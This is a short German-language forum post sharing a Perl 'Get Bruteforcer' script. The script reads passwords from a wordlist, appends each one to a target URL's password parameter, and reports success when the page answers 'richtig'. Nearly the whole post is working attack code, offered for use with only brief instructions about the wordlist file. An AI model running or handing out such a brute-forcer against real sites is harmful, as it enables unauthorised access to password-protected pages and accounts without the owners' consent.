[Perl] Bruter

[$_staX]

Ok hab mich kurz hingesetzt:

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
############################
#      Get Bruteforcer     #
#         by $_staX        #
############################
$counter = 0;
print "\n\t\t\tGet Bruteforcer by \$_staX\n";
print "\t\tExample: http://target.de/passwort.php?passwort=\n\n";
print "Target angeben in Form von example: ";
$target = <STDIN>;
chomp $target;
if ($target !~ /^http:/){
$target = "http:\/\/".$target;
}
open(List, "< list.txt") || print"list.txt not found!";
foreach $pw(<List>){
chomp($pw);
$site = $target.$pw;
$request = new HTTP::Request(GET=>$site);
$useragent= new LWP::UserAgent;
$response=$useragent->request($request);
$counter++;
if($response->content =~ /richtig/i){
print "\n\n[+] Passwort cracked: $pw\n";
}else{
print "\n[-] Tested $counter: $pw";
}
}
print "\n\nDone!!"

Die Wordlist muss list.txt heißen und im selben Verzeichnis sein wie der Bruter.